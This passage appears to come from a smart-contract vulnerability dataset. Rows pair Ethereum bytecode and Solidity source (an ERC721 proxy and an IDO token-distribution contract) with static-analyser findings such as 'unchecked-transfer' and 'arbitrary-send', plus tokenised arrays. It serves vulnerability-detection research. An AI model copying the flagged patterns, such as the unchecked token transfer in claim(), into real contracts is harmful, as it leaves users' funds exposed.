000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561314157600080fd5b505af1158015613155573d6000803e3d6000fd5b505050506040513d602081101561316b57600080fd5b81019080805190602001909291905050501515613216576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f5472616e73666572206f6620746f6b656e7320746f20636f6e7472616374206681526020017f61696c656400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f819b138489896040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156133035780820151818401526020810190506132e8565b50505050905090810190601f1680156133305780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561335157600080fd5b505af1158015613365573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663844c7d9584898989896040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018560001916600019168152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561348f578082015181840152602081019050613474565b50505050905090810190601f1680156134bc5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b1580156134df57600080fd5b505af11580156134f3573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff167fa8e42467e067b2e23dc8977de880b1c29b0441fdeeca47e601f253c000af7b3488888888604051808560001916600019168152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156135b957808201518184015260208101905061359e565b50505050905090810190601f1680156135e65780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a2600191505095945050505050565b60008060006136158a8a8a8a6138b1565b6040516020018082805190602001908083835b60208310151561364d5780518252602082019150602081019050602083039250613628565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b6020831015156136b65780518252602082019150602081019050602083039250613691565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209150600182858888604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561375c573d6000803e3d6000fd5b5050506020604051035190508073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161492505050979650505050505050565b6137d061441a565b60006137ee856000015186602001518660000151876020015161391c565b9050846020015183602001818152505084602001518103836000018181525050846000015185602001510181141561383057600085600001818152505061385b565b8360000151836000015101856000018181510391508181525050836000015181018560200181815250505b829150509392505050565b60005b60208210151561388e5782518452602084019350602083019250602082039150613869565b6001826020036101000a0390508019835116818551168181178652505050505050565b60606139126138c76138c284613a02565b613c55565b6139046138d386613c55565b6138f66138df89613c55565b6138e88b613ca6565b613ea290919063ffffffff16565b613ea290919063ffffffff16565b613ea290919063ffffffff16565b9050949350505050565b60008060008060008060008060008b97508c8b1115156139ec5760208b1115156139a65760018b60200360080260020a03196001029550858a511694508a8d8d010393508588511692505b8460001916836000191614151561399e57838810151561398b578c8c0198506139f2565b8780600101985050858851169250613967565b8798506139f2565b8a8a209150600096505b8a8d03871115156139eb578a882090508060001916826000191614156139d8578798506139f2565b60018801975086806001019750506139b0565b5b8c8c0198505b5050505050505050949350505050565b60608060008060008060286040519080825280601f01601f191660200182016040528015613a3f5781602001602082028038833980820191505090505b509450600093505b6014841015613c0a578360130360080260020a8773ffffffffffffffffffffffffffffffffffffffff16811515613a7a57fe5b047f01000000000000000000000000000000000000000000000000000000000000000292506010837f0100000000000000000000000000000000000000000000000000000000000000900460ff16811515613ad157fe5b047f0100000000000000000000000000000000000000000000000000000000000000029150817f01000000000000000000000000000000000000000000000000000000000000009004601002837f01000000000000000000000000000000000000000000000000000000000000009004037f0100000000000000000000000000000000000000000000000000000000000000029050613b6f82613ee9565b8585600202815181101515613b8057fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350613bb981613ee9565b8560018660020201815181101515613bcd57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508380600101945050613a47565b613c496040805190810160405280600281526020017f307800000000000000000000000000000000000000000000000000000000000081525086613ea2565b95505050505050919050565b6060613c9f826040805190810160405280600181526020017f5f00000000000000000000000000000000000000000000000000000000000000815250613ea290919063ffffffff16565b9050919050565b6060806000806000606060206040519080825280601f01601f191660200182016040528015613ce45781602001602082028038833980820191505090505b50945060009350600092505b6020831015613dae578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515613da157818585815181101515613d6857fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050613cf0565b836040519080825280601f01601f191660200182016040528015613de15781602001602082028038833980820191505090505b509050600092505b83831015613e95578483815181101515613dff57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515613e5857fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050613de9565b8095505050505050919050565b6060613ee18383602060405190810160405280600081525060206040519081016040528060008152506020604051908101604052806000815250613fd9565b905092915050565b6000600a7f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015613f88576030827f01000000000000000000000000000000000000000000000000000000000000009004017f0100000000000000000000000000000000000000000000000000000000000000029050613fd4565b6057827f01000000000000000000000000000000000000000000000000000000000000009004017f01000000000000000000000000000000000000000000000000000000000000000290505b919050565b6060806060806060806060806000808e98508d97508c96508b95508a94508451865188518a518c51010101016040519080825280601f01601f1916602001820160405280156140375781602001602082028038833980820191505090505b50935083925060009150600090505b88518110156140f957888181518110151561405d57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000283838060010194508151811015156140bc57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050614046565b600090505b87518110156141b157878181518110151561411557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561417457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506140fe565b600090505b86518110156142695786818151811015156141cd57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561422c57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506141b6565b600090505b855181101561432157858181518110151561428557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000283838060010194508151811015156142e457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505061426e565b600090505b84518110156143d957848181518110151561433d57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561439c57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050614326565b82995050505050505050505095945050505050565b815481835581811115614415578183600052602060002091820191016144149190614434565b5b505050565b604080519081016040528060008152602001600081525090565b61445691905b8082111561445257600081600090555060010161443a565b5090565b905600a165627a7a723058202a6858b7667557e33a20f8a3dea8e00b0fa47ef477c4eefd038ac9d44779ba330029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 23833, 22907, 2683, 16147, 2094, 2620, 2278, 2692, 21084, 2509, 10354, 2475, 2546, 2620, 2487, 2050, 2683, 27421, 17465, 2683, 2509, 2050, 2549, 27421, 2683, 2683, 29097, 2549, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,669
0x95826ba8b544c009c56d91647f8f01a818c8c149
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: halcyan /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////// // // // // // // // /) /) // // (/ _ // _ _ __ // // / )_(_(_(/_(__(_/_(_(_/ (_ // // .-/ // // (_/ // // // // // ////////////////////////////////////// contract haltx is ERC721Creator { constructor() ERC721Creator("halcyan", "haltx") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201a5546b5e6ffcb656f4bc422d65fd7cd18cf354fbbf199023319549d3996855a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 23833, 3676, 2620, 2497, 27009, 2549, 2278, 8889, 2683, 2278, 26976, 2094, 2683, 16048, 22610, 2546, 2620, 2546, 24096, 2050, 2620, 15136, 2278, 2620, 2278, 16932, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 11085, 5666, 2319, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,670
0x95827ad2d5946766ec46593c6663cb07cc78e4f7
pragma solidity >=0.4.24; library SafeMath { function add( uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; require(c >= a); } function sub( uint256 a, uint256 b) internal pure returns(uint256 c) { require(b <= a); c = a - b; } function mul( uint256 a, uint256 b) internal pure returns(uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div( uint256 a, uint256 b) internal pure returns(uint256 c) { require(b > 0); c = a / b; } } interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } pragma solidity >=0.4.24; contract IDODistribution is Owned, Pausable { using SafeMath for uint; /** * @notice Authorised address able to call batchDeposit */ address public authority; /** * @notice Address of ERC20 token */ address public erc20Address; mapping(address => uint) balances; mapping(address => uint) counts; uint public totalSupply; constructor( address _owner, address _authority ) public Owned(_owner) { authority = _authority; } function balanceOf(address _address) public view returns (uint) { return balances[_address]; } function depositNumberOf(address _address) public view returns (uint) { return counts[_address]; } // ========== EXTERNAL SETTERS ========== function setTokenAddress(address _erc20Address) public onlyOwner { erc20Address = _erc20Address; } /** * @notice Set the address of the contract authorised to call distributeReward() * @param _authority Address of the authorised calling contract. */ function setAuthority(address _authority) public onlyOwner { authority = _authority; } function batchDeposit(address[] destinations, uint[] amounts) public returns (bool) { require(msg.sender == authority, "Caller is not authorized"); require(erc20Address != address(0), "erc20 token address is not set"); require(destinations.length == amounts.length, "length of inputs not match"); // we don't need check amount[i] > 0 or destinations != 0x0 because they cannot claim anyway uint amount = 0; for (uint i = 0; i < amounts.length; i++) { amount = amount.add(amounts[i]); balances[destinations[i]] = balances[destinations[i]].add(amounts[i]); counts[destinations[i]] += 1; } totalSupply = totalSupply.add(amount); emit TokenDeposit(amount); return true; } function claim() public whenNotPaused returns (bool) { require(erc20Address != address(0), "erc20 token address is not set"); require(balances[msg.sender] > 0, "account balance is zero"); uint _amount = balances[msg.sender]; require( IERC20(erc20Address).balanceOf(address(this)) >= _amount, "This contract does not have enough tokens to distribute" ); balances[msg.sender] = 0; IERC20(erc20Address).transfer(msg.sender, _amount); totalSupply = totalSupply.sub(_amount); emit UserClaimed(msg.sender, _amount); return true; } /* ========== Events ========== */ event TokenDeposit(uint _amount); event UserClaimed(address _address, uint _amount); }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d62f8d9146100eb5780631627540c1461014257806318160ddd1461018557806326a4e8d2146101b0578063276184ae146101f357806330a907361461024a5780633f4ba83a1461030b5780634e71d92d1461032257806353a47bb7146103515780635c975abb146103a857806370a08231146103d757806379ba50971461042e5780637a9e5e4b146104455780638456cb59146104885780638da5cb5b1461049f578063bf7e214f146104f6575b600080fd5b3480156100f757600080fd5b5061012c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061054d565b6040518082815260200191505060405180910390f35b34801561014e57600080fd5b50610183600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610596565b005b34801561019157600080fd5b5061019a610645565b6040518082815260200191505060405180910390f35b3480156101bc57600080fd5b506101f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061064b565b005b3480156101ff57600080fd5b50610208610697565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025657600080fd5b506102f160048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506106bd565b604051808215151515815260200191505060405180910390f35b34801561031757600080fd5b50610320610aaf565b005b34801561032e57600080fd5b50610337610b1b565b604051808215151515815260200191505060405180910390f35b34801561035d57600080fd5b50610366611063565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b457600080fd5b506103bd611089565b604051808215151515815260200191505060405180910390f35b3480156103e357600080fd5b